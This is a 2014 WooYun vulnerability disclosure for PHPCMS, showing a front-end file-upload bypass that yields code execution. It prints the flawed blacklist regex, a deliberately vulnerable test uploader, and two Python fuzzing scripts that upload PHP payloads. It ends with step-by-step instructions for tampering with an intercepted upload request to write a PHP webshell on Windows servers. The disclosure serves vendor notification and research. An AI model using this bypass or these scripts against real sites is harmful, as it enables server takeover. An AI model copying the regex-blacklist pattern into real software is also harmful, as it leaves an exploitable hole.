当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-062881

漏洞标题:PHPCMS全版本通杀getshell(前台)

相关厂商:phpcms

漏洞作者: felixk3y

提交时间:2014-05-30 16:05

修复时间:2014-08-28 16:06

公开时间:2014-08-28 16:06

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-30: 细节已通知厂商并且等待厂商处理中
2014-05-30: 厂商已经确认,细节仅向厂商公开
2014-06-02: 细节向第三方安全合作伙伴开放
2014-07-24: 细节向核心白帽子及相关领域专家公开
2014-08-03: 细节向普通白帽子公开
2014-08-13: 细节向实习白帽子公开
2014-08-28: 细节向公众公开

简要描述:

这里的全版本是指:最新v9.5.6 + v9 others +phpcms 2008 + ..
这个漏洞在Windows下和Linux下利用方法不一样,鉴于 @phpcms (省略10000字),都懂的..
这里我只给出Windows的利用方法(Linux的利用涉及另一个漏洞,暂不公开)
Tips:这个洞在我手里已经有很长一段时间了,主要目的是分享里面涉及的思路.

详细说明:

#1漏洞文件及相应的代码
/phpcms/libs/classes/attachment.class.php
/phpcms/modules/attachment/attachments.php
造成漏洞的代码(只贴最重要的)

$aids = $attachment->upload('Filedata',$_POST['filetype_post'],'','',array($_POST['thumb_width'],$_POST['thumb_height']),$_POST['watermark_enable']);
//...
foreach($uploadfiles as $k=>$file) {
$fileext = fileext($file['name']);
if($file['error'] != 0) {
$this->error = $file['error'];
return false;
}
if(!preg_match("/^(".$this->alowexts.")$/", $fileext)) {
$this->error = '10';
return false;
}
if($this->maxsize && $file['size'] > $this->maxsize) {
$this->error = '11';
return false;
}
if(!$this->isuploadedfile($file['tmp_name'])) {
$this->error = '12';
return false;
}
$temp_filename = $this->getname($fileext);
$savefile = $this->savepath.$temp_filename;
$savefile = preg_replace("/(php|phtml|php3|php4|jsp|exe|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i", "_\\1\\2", $savefile);
$filepath = preg_replace(new_addslashes("|^".$this->upload_root."|"), "", $savefile);
//..
}


从上面的代码,可以看出上传的文件类型是我们可以控制的,$_POST['filetype_post'] post提交的,于是我们貌似就可以直接上传php类型的文件,是不是呢? 显然不是,接下来的这行代码限制了我们上传的文件格式

$savefile = preg_replace("/(php|phtml|php3|php4|jsp|exe|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i", "_\\1\\2", $savefile);


很明显,只要文件类似test.php,test.php.php经过此代码后,均会被修改为test._php,test._php._php,显然不是我们想要的结果,我们来分析分析 这个正则替换(这里我们简化下)..

preg_replace("/(php|php3|php4)(\.|$)/i", "_\\1\\2", $savefile);


正则的意思是字符串中查找以php结尾或包含"php."的字符串,找到就将之加上相应的下划线替换掉,这个正则表面上看起来似乎没有什么问题,但是仔细想想呢,还是有问题的..
倘若我们上传的文件后缀为".phpX"(这里的"X"表示某一特殊字符),则绕过了这个正则,而恰巧".phpX"可以解析为php(如php3,php4,当然这里这两个不行),或.phpX经过后面函数或程序代码的处理,或利用系统的特性、PHP的特性等,将这个特殊字符处理掉,那不就ok了,下面就来测试这两种情况..
#2 测试用的伪代码
为了更好的测试,我这里简化了代码,更改为如下

<?php
if(isset($_POST['submit'])){
$savefile = $_FILES['file']['name'];
$tempfile = $_FILES['file']['tmp_name'];
$savefile = preg_replace("/(php|php3|php4)(\.|$)/i", "_\\1\\2", $savefile);//这里是整个漏洞的核心代码,同样这里进行了简化,我们只关注php
$savefile = 'upload/'.$savefile;
if(upload($tempfile,$savefile,true)){//copy & move_uploaded_file
exit('Success upload,path is:'.$savefile."<br>");
}
}
function upload($src,$dst,$mode=false){
if($mode){
if(@copy($src,$dst)){
return true;
}
}else{
if(@move_uploaded_file($src,$dst)){
return true;
}
}
return false;
}
?>
<html>
<body>
<form method="post" action="copy.php" enctype="multipart/form-data">
<input type="file" name="file" value="1111"/>
<input type="submit" name="submit" value="upload"/>
</form>
</body>
</html>


#3 思路一:测试除了php3、php4,还有没有其他的后缀可以解析为php
Fuzzing 测试代码1如下(py)

#by felixk3y ..
import sys
import time
import random
import urllib
import urllib2
def randstr(num):
sts = ''
char = '1234567890abcdexyz'
for i in range(num):
sts += random.choice(char)
return sts
def setfile(fname,fstr):
try:
fp = open(fname,'a+')
fp.write(fstr)
fp.close()
return True
except:
return False
def hex_to_ascii(ch):
return '{:c}'.format(int(float.fromhex(ch)))
if __name__=="__main__":
mfile = []
url = sys.argv[1]
if 'http://' not in url:
url = 'http://%s' % url
fstr = '<?php\r\nphpinfo();\r\n?>'
for i in range(256):
s = '%02d' % i
randnum = randstr(8)
fname = 'uploads/(%s)%s.php'%(i,randnum)
print '[+] Writing file %s ..'%fname
shex = hex_to_ascii(s)
fname = '%s%s'%(fname,shex)
flag = setfile(fname,fstr)
if flag:
fname1=fname.decode('gbk', 'replace')
fname1 = urllib.quote(fname1.encode('GB2312', 'replace'))
u = '%s/%s'%(url,fname1)
try:
h = urllib2.urlopen(u)
res = h.read()
if 'DOCTYPE' in res:
mfile.append(fname)
except:
pass
print '\r\n[+] The result is:'
for uu in mfile:
print uu


该程序在本地跑起来,效果如图..

1.png


可以看出,在Windows环境下,只有php3可以解析为php(Kali Linux测试php5可以解析为php),由于.php3会被转换为._php3,所以这个思路行不通..
#4 思路二:有没有可能将特殊字符串"X"干掉
Fuzzing 测试代码2如下(py)

#by felixk3y ..
import sys
import random
import urllib2
def hex_to_ascii(ch):
return '{:c}'.format(int(float.fromhex(ch)))
def randstr(num):
sts = ''
char = '1234567890abcdexyz'
for i in range(num):
sts += random.choice(char)
return sts
def postdata(mHex,sname):
data = '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n'
data += 'Content-Disposition: form-data; name="file"; filename="%s.php%s"\r\n' % (sname,mHex)
data += 'Content-Type: application/octet-stream\r\n\r\n'
data += '<?php phpinfo();?>\r\n'
data += '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n'
data += 'Content-Disposition: form-data; name="submit"\r\n\r\n'
data += 'upload\r\n'
data += '------WebKitFormBoundarycMYRelX1B2H69xy9--\r\n\r\n'
return data
def Fuzzing(mstr,url):
posturl='%s/upload/copy.php' % url
headers = {
'User-Agent' : 'Googlebot/2.1 (+http://www.google.com/bot.html)',
'Content-Type' : 'multipart/form-data; boundary=----WebKitFormBoundarycMYRelX1B2H69xy9'
}
sname = '%s-%s' % (mstr,randstr(8))
sHex = hex_to_ascii(mstr)
posts = postdata(sHex,sname)
request = urllib2.Request(posturl,posts,headers)
response = urllib2.urlopen(request)
htmls = response.read()
response.close()
if __name__=="__main__":
url = sys.argv[1]
if 'http://' not in url:
url = 'http://%s' % url
for i in range(256):
print '[+] %d ' % i
#time.sleep(2)
if i==20:continue
s = '%02d' % i
Fuzzing(s,url)


同样,该程序在本地跑起来,效果如图..

D:\>Fuzzing_phpcms_upload.py www.vuln.org


2.png


3.png


文件名前面的数字是被"干掉"字符的十进制数字,可以看出%81--%99会被干掉..
该特性雷同Windows下对"."和" "(空格)的忽略。
#5 测试phpcms
好,由于经过上面的Fuzzing知道,只要文件名为".phpX"(X表示%81-%99),就可以生成绕过正则生成".php",成功getshell..
首先在网站后台进行如下的设置..
1.内容 > 管理栏目 > 设置投稿 (允许)
2.用户 > 会员组管理 > 管理会员组 > 设置是否允许上传附件(允许上传)

4.png


随便上传一个jpg文件(这里是显示phpinfo信息),抓包 修改,如图:

55.png


这里有两处需要修改:

jpg|jpeg|gif|bmp|png|doc|docx|xls|xlsx|ppt|pptx|pdf|txt|rar|zip|swf 
//后面添加phpX
Content-Disposition: form-data; name="Filedata"; filename="11.jpg"
//上面的11.jpg修改为phpX
这里X为%81-%99


点击Forward即可在 /phpcms/uploadfile/2014/0530/ 目录下生成php文件,如图

8.png


就到这里了,至于phpcms 2008 getshell的方法与之类似,不再阐述..

漏洞证明:

8.png

修复方案:

不想多说..

版权声明:转载请注明来源 felixk3y@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:7

确认时间:2014-05-30 17:50

厂商回复:

感谢反馈。

最新状态:

暂无